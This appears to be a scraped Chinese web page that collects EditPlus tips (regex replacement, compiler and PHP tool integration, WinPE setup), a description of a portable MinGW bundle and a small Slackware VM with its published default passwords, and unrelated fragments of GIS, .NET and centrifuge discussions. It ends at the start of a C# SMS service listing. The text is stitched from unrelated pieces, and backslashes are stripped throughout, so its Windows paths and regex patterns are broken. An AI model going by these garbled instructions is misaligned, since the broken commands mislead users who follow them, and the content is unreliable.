|
用EditPlus替代VC++的IDE 有时,我为了编译仅有一个源文件的C/C++代码,不得不建立一个VC的工程,工程编译后会生成一堆文件,我不需要搞得如此庞大。后来我改用命令行编译,但是我需要输入冗长的参数来编译。为了一劳永逸地解决这个问题,我就试着将我常用的EditPlus设置为编译器的IDE。
只要修改一下VC安装目录下的"C:Program FilesMicrosoft Visual StudioVC98BinVCVARS32.BAT"文件,然后在EditPlus的“用户配置工具”中“添加工具”就可以了。
"VCVARS32.BAT"这个批处理文件的作用是设置编译器的环境变量,将该文件复制到EditPlus的安装目录下,在文件末尾添加如下命令:
@echo on @cl %1 /ML /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /link "kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /incremental:no /machine:I386"
如果你还要生成asm中间代码的话可以在此处添加"/Fa"参数。
在EditPlus中添加一个用户工具,名叫“C/C++ 编译”。设置“命令”为"C:Program FilesEditPlus 2VCVARS32.BAT",这个文件就是刚才修改过的VCVARS32.BAT文件。然后设置“参数”为"$(FilePath)";“初始目录”为"$(FileDir)"即可。现在只要在EditPlus中按下Ctrl+1(如果没有设置其他用户工具的话)就可以编译C/C++了。
不过VC编译器默认编译的EXE的"Subsystem"是"console"。如果要编译windows程序,必须在源代码中添加:
#pragma comment(linker,"/subsystem:windows")
现在编译后仅仅生成一个obj和一个exe文件。好了,这个世界清静多了。
本文引用通告地址: http://www.donews.net/tabris17/services/trackbacks/295686.aspx |
用过N个PHP编辑器以后,最后还是觉得EditPlus才是最棒的! 1.下载EditPlus v2.12 Build 183 汉化版 这是我能找到的最新的版本了,好像官方网站上,现在也是这个最新了! 下载地址:http://www.crsky.com/SoftView/SoftView_1578.html
2.下载语法文件和自动完成文件,它们分别以STX和AXP后缀结尾。下载我出的这个版本后没有php.acp文件,也不知道 php.stx文件是不是最新的,所以我就到官方网站上下载了php.acp文件和一个最新的php.stx文件。 stx文件:http://www.editplus.com/files/php503.zip 描述:php503.zip (2005-01-08) PHP 5.0.3 stx - Seung Hwan Kang acp文件:http://www.editplus.com/files/php12.zip 描述:php12.zip (2002-05-09) PHP acp - Rasel Khan ,老了些,但我只能找到这个了!
3.安装上php.stx和php.acp文件。 我的EditPlus安装在C:Program FilesEditPlus 2里,那么我就把下载下来的php.stx和php.acp文件复制到C:Program FilesEditPlus 2 中来,其中php.stx会提示是否覆盖,点是就行了!这时候,php.stx文件就安装完成了,现在来加载php.acp文件,打开 EditPlus点,工具->参数选择->在左边点“语法”,右边选择“PHP”,右下的“语法设置”中,可以找到“自动完成” 的路径框,填上“C:Program FilesEditPlus 2php.acp”就好了!
4.用EditPlus调试PHP文件。 以我的机器为例,我装的是WindowsXP + PHP4(D:/Web/PHP) + Apache2.0(D:/Web/Apache) + MySQL(D:/Web/MySQL) 打开EditPlus点,工具->参数选择->在左边点“工具”,右边有个“Web服务器根目录”,点“添加”,出现“初始化 Web 服务器”,在“网络服务器IP或主机名”中填上localhost,因为我是在本机上调试且用的是默认的主机名,所以 用localhost,下面的“网络服务器根目录”中填上D:/PHP,本来Apache默认的网络服务器根目录(你放PHP文件的目录) 应该在D:WebApachehtdocs的,但我为了方便改成了D:/PHP,这个设置可以在php.ini文件中改!
用ultraEdit打造自己的java IDE http://www.matrix.org.cn/resource/article/783.html
1.编译:打开高级--工具配置,在命令行下面输入javac %n%e,工作目录下输入%p ,在菜单项目名称下输入编译Java(可随意取名,只要自己喜欢),还有下面的checkbox中要选中保存活动文件,这样才在编译的时候先保存活动文件,在DOS命令输出下选中捕获输出,这样才可以看到结果!最后单击确定保存。 2.反编译:打开高级--工具配置,在命令行下面输入javap %n,工作目录下输入%p,在菜单项目名称下输入反编译Java,后面的设置同上。 3.运行:打开高级--工具配置,在命令行下面输入java %n,工作目录下输入%p ,在菜单项目名称下输入运行Java,后面的设置同上。 以上配置好后,就可以在高级菜单下看到有编译Java、反编译Java、运行Java三项了。当书写完一个.java文件后,或打开一个Java文件后,就可以运行这三个指令了。
http://ultraedit.apposite.com.hk/chi/additional.htm
正则表达式类 【1】 正则表达式应用——替换指定内容到行尾 【2】 正则表达式应用——数字替换—————————-Microshaoft,jiuk2k 【3】 正则表达式应用——删除每一行行尾的指定字符 【4】 正则表达式应用——替换带有半角括号的多行 【5】 正则表达式应用——删除空行—————————-江德华 软件技巧类 —————————————————— 【6】 软件技巧——键盘记录的注意事项 【7】 软件技巧——关闭文档标签的便捷方法 【8】 软件技巧——如何去掉 EditPlus 保存文本文件时的添加后缀提示? 【9】 软件技巧——提示找不到语法文件的解决办法 【10】软件技巧——设置editplus支持其它文字,如韩文———-jackywu1978 【11】软件技巧——FTP 上传的设置—————————-李应文2.11汉化版 【12】软件技巧——如何禁用备份文件功能? 【13】软件技巧——添加语法文件、自动完成文件、以及剪辑库文件 工具集成类 —————————————————— 【14】工具集成——编译器集成例子(Java、Borland C++、Visual C++、Inno Setup、nsis、C#) 【15】工具集成——让Editplus调试PHP程序———————-avenger,aukw 【16】工具集成——打造 PHP 调试环境(二)———————-老七2.11汉化版 【17】在 WINPE 中集成 EDITPLUS
来源: http://dream4ever.org/showthread.php?t=24801 这个应该是比较全的了,感谢Liangjh收集并整理
技巧中,在编译器集成例子中参照了部分官方的文献。有几篇是从网上搜集来的,这里我注明了来源或原始作者。如果你是相应作者,不希望文章放在这里,请通知我,我会及时 删掉。
—————————————————— 文章或者技巧及原始作者或出处:
正则表达式类 【1】 正则表达式应用——替换指定内容到行尾 【2】 正则表达式应用——数字替换—————————-Microshaoft,jiuk2k 【3】 正则表达式应用——删除每一行行尾的指定字符 【4】 正则表达式应用——替换带有半角括号的多行 【5】 正则表达式应用——删除空行—————————-江德华 软件技巧类 —————————————————— 【6】 软件技巧——键盘记录的注意事项 【7】 软件技巧——关闭文档标签的便捷方法 【8】 软件技巧——如何去掉 EditPlus 保存文本文件时的添加后缀提示? 【9】 软件技巧——提示找不到语法文件的解决办法 【10】软件技巧——设置editplus支持其它文字,如韩文———-jackywu1978 【11】软件技巧——FTP 上传的设置—————————-李应文2.11汉化版 【12】软件技巧——如何禁用备份文件功能? 【13】软件技巧——添加语法文件、自动完成文件、以及剪辑库文件 工具集成类 —————————————————— 【14】工具集成——编译器集成例子(Java、Borland C++、Visual C++、Inno Setup、nsis、C#) 【15】工具集成——让Editplus调试PHP程序———————-avenger,aukw 【16】工具集成——打造 PHP 调试环境(二)———————-老七2.11汉化版 【17】在 WINPE 中集成 EDITPLUS
【1】正则表达式应用——替换指定内容到行尾 原始文本如下面两行 abc aaaaa 123 abc 444
希望每次遇到“abc”,则替换“abc”以及其后到行尾的内容为“abc efg” 即上面的文本最终替换为: abc efg 123 abc efg
解决: ① 在替换对话框,查找内容里输入“abc.*” ② 同时勾选“正则表达式”复选框,然后点击“全部替换”按钮 其中,符号的含义如下: “.” =匹配任意字符 “*” =匹配0次或更多
注意:其实就是正则表达式替换,这里只是把一些曾经提出的问题加以整理,单纯从正则表达式本身来说,就可以引申出成千上万种特例。
【2】正则表达式应用——数字替换 希望把 asdadas123asdasdas456asdasdasd789asdasd 替换为: asdadas[123]asdasdas[456]asdasdasd[789]asdasd
在替换对话框里面,勾选“正则表达式”复选框; 在查找内容里面输入“[0-9][0-9][0-9]”,不含引号 “替换为:”里面输入“[12]”,不含引号 范围为你所操作的范围,然后选择替换即可。
实际上这也是正则表达式的使用特例,“[0-9]”表示匹配0~9之间的任何特例,同样“[a-z]”就表示匹配a~z之间的任何特例 上面重复使用了“[0-9]”,表示连续出现的三个数字 “”代表第一个“[0-9]”对应的原型,“1”代表第二个“[0-9]”对应的原型,依此类推 “[”、“]”为单纯的字符,表示添加“[”或“]”,如果输入“其它12其它”,则替换结果为:
asdadas其它123其它asdasdas其它456其它asdasdasd其它789其它asdasd
功能增强(by jiuk2k): 如果将查找内容“[0-9][0-9][0-9]”改为“[0-9]*[0-9]”,对应1 或 123 或 12345 或 … 大家根据需要定制
相关内容还有很多,可以自己参考正则表达式的语法仔细研究一下
【3】正则表达式应用——删除每一行行尾的指定字符 因为这几个字符在行中也是出现的,所以肯定不能用简单的替换实现 比如 12345 1265345 2345 需要删除每行末尾的“345” 这个也算正则表达式的用法,其实仔细看正则表达式应该比较简单,不过既然有这个问题提出,说明对正则表达式还得有个认识过程,解决方法如下 解决: 在替换对话框中,启用“正则表达式”复选框 在查找内容里面输入“345$” 这里“$”表示从行尾匹配
如果从行首匹配,可以用“^”来实现,不过 EditPlus 有另一个功能可以很简单的删除行首的字符串 a. 选择要操作的行 b. 编辑-格式-删除行注释 c. 在弹出对话框里面输入要清除的行首字符,确定
【4】正则表达式应用——替换带有半角括号的多行 几百个网页中都有下面一段代码: n 在替换对话框启用“正则表达式”选项,这时就可以完成替换了
【5】正则表达式应用——删除空行 启动EditPlus,打开待处理的文本类型文件。 ①、选择“查找”菜单的“替换”命令,弹出文本替换对话框。选中“正则表达式”复选框,表明我们要在查找、替换中使用正则表达式。然后,选中“替换范围”中的“当前文件”,表明对当前文件操作。 ②、单击“查找内容”组合框右侧的按钮,出现下拉菜单。 ③、下面的操作添加正则表达式,该表达式代表待查找的空行。(技巧提示:空行仅包括空格符、制表符、回车符,且必须以这三个符号之一作为一行的开头,并且以回车符结尾,查找空行的关键是构造代表空行的正则表达式)。 直接在”查找”中输入正则表达式“^[ t]*n”,注意t前有空格符。 (1)选择“从行首开始匹配”,“查找内容”组合框中出现字符“^”,表示待查找字符串必须出现在文本中一行的行首。 (2)选择“字符在范围中”,那么在“^”后会增加一对括号“[]”,当前插入点在括号中。括号在正则表达式中表示,文本中的字符匹配括号中任意一个字符即符合查找条件。 (3)按一下空格键,添加空格符。空格符是空行的一个组成成分。 (4)选择“制表符”,添加代表制表符的“t”。 (5)移动光标,将当前插入点移到“]”之后,然后选择“匹配 0 次或更多”,该操作会添加星号字符“*”。星号表示,其前面的括号“[]”内的空格符或制表符,在一行中出现0个或多个。 (6)选择“换行符”,插入“n”,表示回车符。 ④、“替换为”组合框保持空,表示删除查找到的内容。单击“替换”按钮逐个行删除空行,或单击“全部替换”按钮删除全部空行(注意:EditPlus有时存在“全部替换”不能一次性完全删除空行的问题,可能是程序BUG,需要多按几次按钮)。
【6】软件技巧——键盘记录的注意事项 EditPlus 的键盘记录有些类似于 UltraEdit 的宏操作,不过功能相对单一,录制的文件可编辑性较差。 由于基本无法编辑录制的文件,所以录制的时候为了避免录制失败,推荐纯粹使用键盘操作,以下是比较关键的几个键盘组合: Ctrl+F = 调出查找对话框 Ctrl+H = 调出替换对话框 Alt+F4 = 关闭作用,比如,关闭查找对话框、关闭替换对话框,等等 其它键盘快捷键在“帮助-快捷键列表”里面可以很容易的查找到,这里就不细说了。
【7】软件技巧——关闭文档标签的便捷方法 右键单击文档标签工具条,弹出菜单中选择“标签选项”,选中“用鼠标中间的按钮关闭”,这里包括鼠标的滚轮。
【8】软件技巧——如何去掉 EditPlus 保存文本文件时的添加后缀提示? 如果你使用 EditPlus 进行文本编辑,那么每次创建文本文件,编辑后保存时,尽管文件类型下拉列表中显示的是文本文件, EditPlus 还是询问你是否添加“.txt”后缀,是不是很烦? 解决方法: ① 在程序目录建立一个空的文件“template.txt” ② “工具-参数设置-模板”里面,单击“添加”按钮添加模板,“菜单文本”这里输入“Text”,浏览“template.txt”,之后确定即可 ③ “文件-新建-text”,就可以建立一个空的文本文件,保存时,这个文件自动带有扩展名”.txt”,也就避免了令人头疼的确认 ④ 模板设置文件名称为“template.ini”,如果和主程序同一路径,可以使用相对路径 罗嗦了点,不过管用 要自动创建带有某种后缀的文件,方法同上。
【9】软件技巧——提示找不到语法文件 *.stx 的解决办法 原因多为设置的语法文件不存在或者是路径设置不对。这是因为 EditPlus 的语法是设置文件采用的是绝对路径,而在你设置了语法文件之后,再把程序复制到其它目录,因而导致 EditPlus 无法找到该语法文件。 解决办法: 在主程序目录里,找到 Setting.ini 这是 EditPlus 存放语法的文件 查找后缀为“.stx”、“acp”的文本内容,或者查找带有驱动器符号的行,比如 Syntax file=C:Program FilesEditPlus 2cpp.stx 那么,就把”C:Program FilesEditPlus 2“替换成你当前软件的路径。 其它提示找不到文件的解决方法同上
【10】软件技巧——设置editplus支持其它文字,如韩文 在editplus里打开文件,出来打开文件对话框;然后点击“转换器”后面的那个省略号,会出来自定义转换器对话框;在右边选择你需要的编码方式,添加到左边,然后点确定;最后在下拉框中选择需要的编码方式,然后打开文件即可。
【11】软件技巧——FTP 上传的设置 “文件->远程操作->FTP 上传”在“设置”选项卡中设置好参数(“子目录”前面应该加“/”如“/web/”),点击“确定”回到“FTP 上传”选项卡,然后点击“上传”即可;“批量上传”的设置类似。
【12】软件技巧——如何禁用备份文件功能? 在“参数选择”的文件选项页,禁用“’保存时自动创建备份文件”选项
【13】软件技巧——添加语法文件、自动完成文件、以及剪辑库文件 要添加 *.STX(语法文件)或 *.ACP(自动完成文件): 1. 选择“参数选择→语法” 2. 单击“添加”按钮,命名,在“扩展名”部分输入对应扩展名(不带“.”) 3. 浏览/输入 STX(语法文件部分) 以及 ACP(自动完成文件部分)。 添加剪辑库文件(*.CTL) 复制相应 *.CTL 文件到软件安装目录,重新启动 EditPlus ,则系统自动识别。
【14】工具集成——编译器集成例子(Java、Borland C++、Visual C++、Inno Setup、nsis) 在“工具→参数选择→用户工具”选项页设置,设置步骤 ① 设置组名称,这里也可以不设置 ② 单击“添加工具→应用程序”按钮并进行如下设置 ③ 各种类似”$(FilePath)”的参数可以在文本框右侧的箭头下拉菜单中获取,具体含义如下 参数 描述 $(FilePath) 文件路径(文件全名,含目录和文件名) $(FileDir) 文件目录(不带文件名) $(FileName) 文件名(不带目录) $(FileNameNoExt) 不带扩展名的文件名(不带目录) $(FileExt) 扩展名(当前文件) $(ProjectName) 工程名称(当前工程名) $(CurLine) 当前行号(光标位置处的行号) $(CurCol) 当前列号(光标位置处的列号) $(CurSel) 当前文本(插入当前选定文本) $(CurWord) 当前单词(插入当前单词) $(WindowList) 显示当前窗口列表并选择特定文件
例子 1. Java 编译器
菜单文本:Java 编译器 命令:c:javabinjavac.exe 参数:”$(FilePath)” 初始目录:$(FileDir) 捕获输出:开启
要运行已编译的 Java 类文件,你可以进行如下设置: 菜单文本:Java 命令:c:javabinjava.exe 参数:$(FileNameNoExt) 初始目录:$(FileDir) “命令”部分应当替换为实际的 Java 解释器的路径。
例子 2. Borland C++
菜单文本:Borland C 命令:c:bcbinbcc32.exe 参数:-Ic:bcinclude -Lc:bclib -n$(FileDir) $(FilePath) 初始目录:c:bcbin 捕获输出:开启
例子 3. Visual C++
菜单文本:Visual C++ 命令:c:msdevvc98bincl.exe 参数:”$(FilePath)” 初始目录:$(FileDir) 捕获输出:开启
例子 4. Inno Setup 菜单文本:编译 Inno 命令:C:Program FilesInno Setup 4Compil32.exe” 参数:/cc $(FileName) 初始目录:$(FileDir) 捕获输出:开启
例子 5. nsis 菜单文本:编译 nsis 命令:C:NSISmakensis.exe 参数:$(FileName) 初始目录:$(FileDir) 捕获输出:开启
例子 6. C# 菜单文本:编译 C# 命令:C:WINDOWSMicrosoft.NETFrameworkv1.0.3705csc.exe 参数:$(FileName) 初始目录:$(FileDir) 捕获输出:开启
在上面设置中,在命令部分,必须使用系统中各自编译器的绝对路径。
设置完毕后,你可以在“工具”菜单运行对应工具了,运行结果会显示在底部的输出窗口,你也可以通过快捷键(Ctrl + 0-9) 运行,或者是通过“用户工具栏”的快捷按钮运行。
要运行已编译的 *.exe 文件,你可以进行如下设置(此时可执行文件需要和编译文件同名): 菜单文本:Run 命令:$(FileNameNoExt) 参数: 初始目录:$(FileDir)
【15】工具集成—— 让Editplus调试PHP程序 1:打开Editplus,选择”工具->配置用户工具…”菜单。 2: 在弹出的窗口中选择”添加工具->应用程序”,给新程序起一个好记的名字,比如这里我们用”Debug PHP”,在”菜单文本”中输入”Debug PHP”。点击”命令行”右边的按钮,找到你的php.exe所在的路径,例如这里是”c:phpphp.exe”。再点击”参数”右边的下拉按钮选择”文件路径”,最后再把”捕获输出”前面的复选框选上。 3:现在测试一下,新建一个php文件,按快捷键Ctrl+1可以激活刚才我们设置的工具(如果你设置了多个工具,快捷键可能会有所不同),现在你可以看到它已经能正常工作了。但是还有一点不太理想:如果你的PHP程序出错,在输出窗口会提示你第几行出错 ,单击这一行提示,Editplus老是提示你找不到某某文件,是否新建。接下下我们要修正这个功能。 4:打开刚才用户工具设置窗口,找到刚才设置的”Debug PHP”工具。点击”捕获输出”复选框旁边的”输出模式”按钮,会弹出一个定义输出模式的窗体,把”使用默认输出模式”前面的复选框去掉, 在”正则表达式”这一项的文本框中输入” ^.+ in (.+) line ([0-9]+) “(不包括引号),细心的朋友可能会发现,这里使用的也正则表达式的语法。然后,在下面的”文件名”下拉菜单中选择”预设表达式 1″,即上边正则表达式中的第一个参数,”行”下拉菜单项选择”预设表达式 2″,”列”下拉项保持为空。然后保存设置。 5:好了,现在再来试一下吧,双击出错的行数,Editplus就会自动激活出错文件,并把光标定位到出错行,是不是特别方便呢?! 现在,Editplus经过我们的”改造“,已经可以即时的调试PHP文件了,虽然还不是”可视化”界面的,但对于一些平常的小程序来查错还是非常好用的。Editplus真是不款不可多得的好工具,如果你有什么使用技巧,不要忘了大家一起分享哦。^O^
如果不能切换错误行号,请尝试作如下修改: (by aukw) 1.php.ini 中html_errors = Off打开 //如果你不打开,3.中的表达式要修改 2.参数改成:-q -f “$(FilePath)” //不加“符号的话文件名有空格的文件调试失败。。 //-q不输出html头信息,你去掉也行,不过调试时候你一般用不到那些header信息 3.” ^.+ in (.+) line ([0-9]+) ” 改成 “^.+ in (.+) on line ([0-9]+)$” //如果还是不行,请注意调试结果,自己修改表达式来取出文件名和行号
【16】工具集成——打造 PHP 调试环境(二) 1: 把剪辑库定位在 PHP4 Functions 上就可以在编辑时, 利用[插入]->[匹配剪辑]命令,就可以自动完成末输入完整的 PHP 函数(或直接按 F2 键) 2: 类似上面,在选择部分文字后,同样可以自动完成。(同 F2) 3: 在[参数选择]->[设置和语法]->PHP->自动完成, 选择目录下的 php.acp 文件,你可以定制自己的自动完成方式. 4: 想要即时预览文件,可在[参数选择]->[工具]->WEB 服务器中添加本地目录,(注意不要加 http:// , 应是一个有效的站点)。 如: 主机->localhost/php | 根目录->D:php 主机->localhost/asp | 根目录->D:asp 主机->localhost/cgi | 根目录->D:cgi 完成设置后只要脚本文件位于这些目录下(子目录也没问题), 就能够正确解释. 5: 各种语法和模板文件可以在 www.editplus.com 获得,可根据需要选用和编辑。 6: Ctrl+F11 可显示当前文件中的函数列表. 7: 添加各种用户工具.如: 启动MYSQL服务器管理工具->C:mysqlbinwinmysqladmin.exe 启动Apache服务器->C:ApachebinApache.exe -k start 启动Apache服务器->C:ApachebinApache.exe -k stop (shutdown) 8: DBG 附带有一个 prof_results.php 文件,可剖析 PHP 程序的性能. 虽不是真正的调试器,但已经够了. OK! 经过改造后,是不是有点象一个 IDE 什么?还差点,没有即时帮助…看我的,再来: 9: 把 php_manual_en.chm (最好是扩展帮助手册)加入到用户工具中, 当遇到需要参考的关键字时, 把光标定位其上, 按下快捷键 Ctrl+1, 看到了吗. 在输入时有想不起来的函数名时, 先按照第 1 条的方法调出函数, 然后…怎么样?
以上有的是对于调试工具的设置,由于此类工具比较多,大家设置时参考以上的基本就差不多了,所以就不过多的列举了。
【17】在 WINPE 中集成 EDITPLUS 可以基于目前的bartpe做得WINPE中,菜单使用nu2menu制作
默认位置为 programseditplus 默认系统位置为光盘的 i386 目录
i386/system32 的 autorun.bat 中添加外壳集成(系统右键) regedit /s %SystemDrive%programseditplusREG.REG regsvr32 /s programseditplusEPPSHELL.DLL
复制editplus安装包里面的文件到programseditplus,注意,如果有setting.ini,删掉该文件在nu2menu里面加入,可以根据需要安排位于特定菜单条目下 FUNC=”@GetProgramDrive()ProgramsEditPluseditplus.exe”>本编辑 |
VC 6.0 是我最喜欢的编程环境,它功能强大,界面朴实精炼,调试方便。在WINDOWS + C++高手手里它是一个强大的武器,对于windows平台的开发来说,有VC 6.0已经足够了。*1:p
但是壁有微瑕,由于历史原因,VC6.0不支持C99和标准C++,给我们学习研究ANSI C和标准C++造成了困难。(很多教材上都强调:如果你运行本书上的例子得不到正确的结果,或许跟你的编译器的实现有关,由于历史原因,它们可能不支持标准C++。举个简单参见拙文《在main()前后执行代码(C++版本) 》)
据说VC 2003.net 是完全支持ANSI的,这一点你通过打印__STDC__可以看出来。(支持ANSI标准的结果为1,不支持的结果为0) 。但是M$对它做很多很多标准以外的扩充,使它能够支持最新的WINDOWS平台的开发,支持.net开发。除了标准C++的语法,还加入很多Manage C++、CLI/C++ 等M$定义的语法,加入了WINDOWS平台API提供的TCHAR宏。(这点从wizzard生成的代码就可以看出来,它默认生成int WINAPI _tmain(int argc, int * argv[]); ?) 这些复杂的东西容易给C++的学习造成误解,是我们分不清那些是标准C++的语素,那些是具体的环境提供的增强版本语素。
那么,什么样的编译器环境才适合学习C++语言呢?偶认为GNU的编译器GCC最适合学习C++,因为它是支持标准最好的编译器,也是免费的软件。GCC在Windows上有一个实现——MingW。
Dev-cpp 使用了GNU标准的MingW内核,但是整个IDE环境不成熟,界面速度比较慢不说,并且总是有一些烦人的小bug,在某些环境下,它的界面字体显示的极不正常,而且无法改变。
其实,我们只是想写一小段测试代码,来证明自己对C++的理解是否正确,在这种情况下,让我们建立一个工程(甚至可能就包含一个cpp文件,甚至连头文件都没有),委实有点浪费;在这种情况下,让我们装1G~2G的软件,来验证一个观点,嘿嘿,真是有点太杀鸡用牛刀。
其实,我更希望的是,它能够自动生成一段代码,然后让我把关键之处稍作修改,就能证明我的观点; 最好能够与windows平台和注册表无紧密关联,重装系统也无须再安装;最好能够copy到别的机器上也管用,是纯粹的绿色软件,那就最好不过了。
MWEP正是由此而生。我把MingW(含gcc 3.1.0)整合在EditPlus(2.1.2.76)中,整个环境无需安装既可使用,体积娇小、清爽方便。依靠EditPlus强大的可定制能力, 可以外挂各种插件,定制各种工具、脚本、热键,做为教学实验用的IDE,绰绰有余。偶打算慢慢调整它的功能,使它更方便,更人性化。希望大家能够共同努力,帮助我打造这个小兵器。^_^
注1:.Net/JAVA好手不要籍此丢我的黑砖,在我眼里,.NET/JAVA的主要工作都是对应于WEB的,并且它们一般不用来做WINDOWS各种服务、进程调度等等平台相关的开发。
MingGW-3.1.0-1.exe里面已经包含了gcc, g++;虽然gcc、g++有更新的版本,但是MingGW-3.1.0-1.exe的最新稳定版本就是3.1.0-1了
在EditPlus->Preferences->Usertools 中,选中Capture output, 然后单击Output Pattern,去除Use default output pattern, Regular expression 选择相应的编译器即可.
Source Insight v3.5 也在用,它用来查找tags比较方便,但是没法编译程序。
引 http://blog.vckbase.com/smileonce/archive/2004/11/15/1524.aspx
精简的Linux C/C++开发环境 ---------------
这是一个在vmware中安装的slackware linux 10 kernel 2.4.26,采用定制安装,除去了开发时不常用的包,便于copy到偶的小移动硬盘中带来带去。可用于学习linux 下的c/c++程序开发。
大概能够提供的功能是:
gnu 全套开发包(不含fortran/python/java) 可以smb连到window的共享目录,方便和windows交换文档 可以用终端ssh连到linux上,这样就不需要切换vmware屏幕,并且可以把文本粘出来 man全套手册 tcpip常用命令和工具,自己指定ip或dhcp取ip gpm服务,便于用鼠标粘文本 vim编辑器 apm服务,高级电源管理,自动关机 rp-ppp,可以进行adsl拨号。 cvs client
时间有限,做好就传上来了,没有仔细测试。如果有需要请自行添加、修改;或者回复本贴,我将在下个版本中修改(时间不定)。
暂定的两个用户: name : root password: vckbase.net name : vckbase password: vckbase
1>请先用root登录,然后将ip地址改为(使用命令:netconfig)你所在的子网内的地址。 2>使用samba把windows共享分区mount上。(例如:mount -t smbfs //smileonce/tmplinux /mnt/samba,其中smileonce是我的台式机,tmplinux是台式机共享的目录,/mnt/samba是linux中的目录)。 3>使用putty可以并在session->hostname中添入linux的ip地址,Protocal选ssh,就可以通过ssh连到linux上,这样做就免去了按Ctrl+Alt在vmware和PC间切换之苦了。
下载地址:ftp://vckbase:vckbase@www.hotlove.cn/user/smileonce/tool/mini_slack_linux/
其中: vmware 4.5.2 37M, putty 372K, slack.rar 93M
引 http://blog.vckbase.com/smileonce/archive/2004/12/21/2220.html
GIS 请问在arcgis中(arcmap,arcview,arcinfo都行),怎样改变一条或多条线的方向呢? 请问在哪里能下载到汤国安的GIS精品课程课件 http://202.119.109.14/jpkc/index2.htm 我正在看,只能打开,不能下载 在ARCINFO中改变线方向的操作 de arc arrow
sel man flip
sel man是选择要改变的线 J2EE
JTextArea放在一JScrollPane中, 多次调用JTextArea的append(“...”)方法后 由于文本的行数超过了视图界面,JScrollPane出现了竖直的滚动条, 此时滚动条位于最底端,请问调用什么方法能使滚动条位于最上端?? 我把我的xp设置了ftp(port:4812),再别的xp上能正常访问 linux是虚拟的 但是通过系统自带的gftp不能访问 但是通过firefox能正常访问web的82端口 谁对struts比较熟悉呀 我做了一个简单的struts应用(留言本) 结果我们项目经理说我做的是一半struts一半不是 上海。net
有没有人用过Expresso, 测试.net正则表达式的一个工具
我一个数据库搜索,如果在搜索栏里面输入了&、%、*等特殊字符
就会出现Bad Request
不能用&、*、%,我找到原因了,是因为.NET的那个URLRewriter,但是如何解决呢?
由于还有S2指向S的引用,所以不会被回收掉 是S的那块托管内存不会被回收掉
"第二行就是新建了一个引用吧"--对,就是一个指针,指向s所指的manage heap "第三行是子类转换为父类,失去自己本类型原有的成员,所有的成员就都是由父类继承的."--不完全对,string 是reference type,object o=s;不会开辟一个新的managed heap,只是将指针o指向s的managed heap 我们在CSDN上讨论的重点也就是object o=s;这句话,因为这里还发生了type cast.
oracle查询优化时,从左向右,先大范围,再小范围, 其它数据库,从左向右,先小范围,再大范围。是否正确? firefly你也在研究mono啊 哦~~~我在FC4上装了mono-1.1.8.3的 但是他还只是支持.Net里面的一部分而且form是用Gtk代替的 你说的我一句也没听懂。 恩,是啊,很多功能都没有支持 是啊 。。如果要把所有的类都重写那要多长时间啊! 我很希望从事linux,但是毕竟我已经开始学C#所以只能希望C#能像C和C++到哪里都能用 呵呵~~你逛哈linux的论坛撒 关注哈mono这个开源项目
VMM上的一个简单内存池(随着rubits的开源也发布了吧) http://www.chinavr.org/forum_view.asp?forum_id=15&view_id=24 请问如何对一个DataTable实例执行SQL语句?
在oracle里面的存储过程中执行sql语句 Execute immediate (v_hy);
top851的编程器, 前两天在图雄论坛上看到一个帖子,“图雄网——让你在网络上身临其境地体验三维世界”感觉很不错, 他们推出了一个免费的三维地图服务系统能够实现三维地图的编辑、共享(其他用户能够通过网络看到别 人编辑的线路),也可以应用于GPS,三维地图效果也不错。而且网站完全免费向广大编程爱好者提供二维 三维二次开发用到的地图数据和API接口。速度也不错,全中文显示(我看的懂^_^)。具体详情可以到他们 论坛转转www.mapok.com/bbs
地方坐标的矢量图要转成54坐标需要些什么参数
Gis都用哪些软件呀 我用过mapgis 和 Geobeans 国产的 mapgis能分析统计吗 你所谓的分析统计是那些方面》? 应用又是指什么了?三维、缓冲区,dem还是....??? 就是做一些应用开发 都可以的 这些都是你自己二次开发的功能 啊 哪个网站有下载MAPGIS的 mapgis和arcgis有什么区别? mapgis是国内公司开发的,arcgis是美国esri公司开发的,从功能上讲arcgis比mapgis多很多。
离心机: 如果离心之后溶液看不出任何变化,没什么沉淀或者分层,是不是就是说可以不用离心? 为什么要离心阿 你的目的是?
是纳米小颗粒的溶液 离心分离出溶液中的大颗粒或者杂质 我离心的是明显的颗粒 没有像你这样的 ~o~ 大庆(34708310) 19:26:11 这种没有做过 既然没有变化 只能说明没有效果或颗粒过小吧 wishwing(32181141) 19:28:15 没有效果就是说离不离心结果都是一样的,是这样吗? 你做过什么的离心? 离心之后效果很明显吗? 明显的颗粒是指? 我的是50-60nm颗粒的水溶液
有人用过xml-rpc 吗?
怎么让asp.net调用 asp的xml-rpc服务? 反之能否实现? 如何实现?
http://community.csdn.net/Expert/topic/4234/4234579.xml?temp=.7289392
如何在页面加载的时候,控制页面的显示方式。 比如:toolbar =no, menubar=no, scrollbars=no, resizable=no 我只想在本页加载的时候控制,不想在其他页对他进行控制。。要怎么弄。。。
最近在电脑城上买了一根NOKIA3210的数据线,玩了几天改LOGO、改铃声后也将数据线扔在一边。直到前几天在Http://oxygensoftware.com上看到有发手机短信息的二次开发控件,才想起多日不用的数据线,而且最近在学C#,觉得用C#做个发短信息的程序也不错,经过多天的测试,终于实现用电脑+数据线+手机的模式,实现在单位的局域网平台上发送短信息了。 由于在单位使用到发手机短信息的地方有很多,可能是从网页、可能是OUTLOOK中的窗体、也可能是某台非Windows操作系统的主机的某个系统,所以经过思考探讨,觉得最好的解决方案是采用Windows的“服务”,定时从一个目录中固定格式的文本文件中读取出相应的信息,发送出去。而其它客户端只需往该目录写入文本信息即可。思路定下来后就让我们开始吧! 先交待一下开发平台:Windows 2000 Advance Server操作系统、Visual Studio .Net 、Oxygen Sms ActiveX Control V2.3 (Share Ware)、 Nokia 3210手机通过数据线接在COM1上。运行Visual Studio .Net,新建一个C#的项目,选择“Windows Server”类型的项目,命名为“SmsServer”。在Server1的设计画面,将“ServerName”命名为“SmsServer”。点击“视图设计器按钮”切换到设计画面,在“Windows Forms”工具箱中拖一时钟控件,命名为“SmsTimer”,在“Components”工具箱中拖一“EventLog”控件。命名为“eventLog1”。在“项目”菜单中点击“添加引用”,选择“COM”页,浏览到安装Oxygen Sms ActiveX Control V2.3程序的目录,找到SMSControl.ocx添加到“选定的组件”中。 将Server1.cs代码替换为
using System; using System.Collections; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.ServiceProcess; using System.IO; using System.Text ;
